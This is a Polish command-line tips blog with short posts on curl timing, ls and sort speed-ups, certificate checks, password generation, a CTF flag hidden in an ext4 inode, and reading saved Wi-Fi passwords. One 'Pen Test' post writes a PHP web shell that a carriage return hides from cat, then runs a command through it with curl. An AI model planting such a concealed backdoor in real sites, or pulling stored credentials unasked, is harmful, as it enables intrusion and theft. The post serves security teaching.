Napisał: Patryk Krawaczyński
29/09/2019 w CmdLineFu, Debug
0. Utworzenie pliku:
touch .findmehere
1. Lokalizacja obiektu w systemie plików:
ls -i .findmehere
15466911 .findmehere
2. Zakodowanie wiadomości:
while read -n1 char; do printf "%d " \'$char; done
C67 T84 F70 .46 f102 l108 a97 g103
3. Umieszczenie wiadomości w pliku:
sudo debugfs -w -R 'set_inode_field /home/ctf/.findmehere \
version 6784704610210897103' /dev/sda2
4. Sprawdzenie zapisu wiadomości:
sudo debugfs -R 'stat <15466911>' /dev/sda2
Inode: 15466911 Type: regular Mode: 0640 Flags: 0x80000
Generation: 1555060808 Version: 0x5e281ce5:65935ccf
User: 0 Group: 0 Project: 0 Size: 0
File ACL: 0
Links: 1 Blockcount: 0
Fragment: Address: 0 Number: 0 Size: 0
ctime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
atime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
mtime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
crtime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
Size of extra inode fields: 32
EXTENTS:
5. Weryfikacja wiadomości:
printf "%d\n" 0x5e281ce565935ccf
6784704610210897103
for i in `echo 67 84 70 46 102 108 97 103`; do echo -ne \\x$(printf %02x $i); done
CTF.flag
Więcej informacji: Ext4 Disk Layout, Czas utworzenia pliku w Linuksie
Napisał: Patryk Krawaczyński
10/08/2019 w Administracja, CmdLineFu, Debug
C
url może być pomocnym narzędziem przy debugowaniu. Gdy na rozpoznanie problemu składają się problemy z: siecią, DNS, serwerem lub wydajnością samej webaplikacji – możemy bez wahania po niego sięgnąć. W celu izolacji problemu możemy uruchomić curl’a w następujący sposób:
curl -w "$(date +%FT%T) dns: %{time_namelookup} connect: %{time_connect}\
firstbyte: %{time_starttransfer} total: %{time_total} HTTP: %{http_code}\n"\
-o /dev/null -s "https://apka.dev"
Polecenie takie puszczone w pętli da nam ładny podgląd na każde żądanie HTTP:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
10/05/2019 w CmdLineFu
W
poprzedniej części – dzięki zmiennej środowiskowej udało nam się przyśpieszyć działanie polecenia grep. Dzisiaj zajmiemy się poleceniem: ls. Jeśli polecenie to zajmuje dłuższy czas dla wylistowania bardzo dużej liczby plików – szczególnie jeśli są one umieszczone na sklastrowanych systemach plików typu Lustre możemy sprawdzić, czy ustawienie zmiennej dla niewyświetlania kolorów podczas listowania przyśpieszy operację:
export LS_COLORS='ex=00:su=00:sg=00:ca=00:'
Czyli prosimy ls o niekolorowanie na listingu plików z bitem setuid/setgid, flagą wykonywalności lub możliwościami opartymi na plikach. Analogicznie możemy przyśpieszyć w określonych warunkach (zależy po jakiej treści sortujemy) sortowanie bardzo dużych plików poprzez ustawienie:
export LC_COLLATE=C
export LANG=C
Tylko musimy liczyć się z faktem, że zmieni się zachowanie sortowania, ponieważ program sort uwzględnia te zmienne przy decydowaniu o jego kolejności. Np. LC_COLLATE
o wartości en_US.UTF-8
spowoduje, że małe litery zostaną posortowane przed wielkimi literami.
Więcej informacji: When setting an environment variable gives you a 40x speedup
Napisał: Patryk Krawaczyński
10/03/2019 w CmdLineFu, Pen Test
$ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php
$ cat test.php
<?='PHP Test';?>
$ curl localhost/test.php -d 1=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Test
Napisał: Patryk Krawaczyński
10/05/2017 w CmdLineFu
Jak sprawdzić, czy klucz prywatny pasuje do wydanego certyfikatu? Powinny posiadać identyczny skrót SHA256:
openssl rsa -noout -modulus -in kluczdomeny.key 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
openssl x509 -noout -modulus -in certyfikat.crt 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
Jeśli jest inaczej to znaczy, że coś poszło nie tak w procesie generowania certyfikatu lub pomyliliśmy pliki.
Napisał: Patryk Krawaczyński
18/02/2017 w CmdLineFu
pwgen -sy 30
date +%s | sha256sum | base64 | head -c 30 ; echo
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-30}; echo;
gpg --gen-random --armor 1 30
openssl rand -base64 30
Napisał: Patryk Krawaczyński
02/02/2017 w CmdLineFu
curl -s http://public-dns.info/nameserver/pl.csv > list; cat list | cut -d "," -f1 | \
xargs -i timeout 1 ping -c1 -w 1 {} | grep time | \
sed -u "s/.* from \([^:]*\).*time=\([^ ]*\).*/\2\t\1/g" | grep -v "1 packets" | sort -n
Więcej informacji: DNS servers in Poland
Napisał: Patryk Krawaczyński
10/04/2016 w CmdLineFu
Użycie polecenia timeout do uruchomienia wybranego polecenia na określony czas działania:
timeout 1h tcpdump -n -i eth0 -w network.pcap not host 192.168.1.5
lub
tcpdump -n -i eth0 -w & pid=$! ; (sleep 3600 ; kill $pid)
Napisał: Patryk Krawaczyński
31/12/2015 w CmdLineFu
darkstar:~ $ openssl rand -base64 48
TIsXtvV8GYVwLfmu/3QBSgjtYkMt0igSnptSutQaPzBPj5mG5hScYduUlvF7bEQv
darkstar:~ $ openssl rand -base64 8
g3hWwwomLIY=
Napisał: Patryk Krawaczyński
20/07/2015 w CmdLineFu
Na systemie Windows – uruchom “cmd
“, z prawami administratora i wydaj polecenie:
netsh wlan show profile name=ssid key=clear
Gdzie ssid to nazwa sieci Wi-Fi. Na Mac OS X w terminalu należy wpisać:
sudo security find-generic-password -ga ssid | grep password
Ostatni komentarz :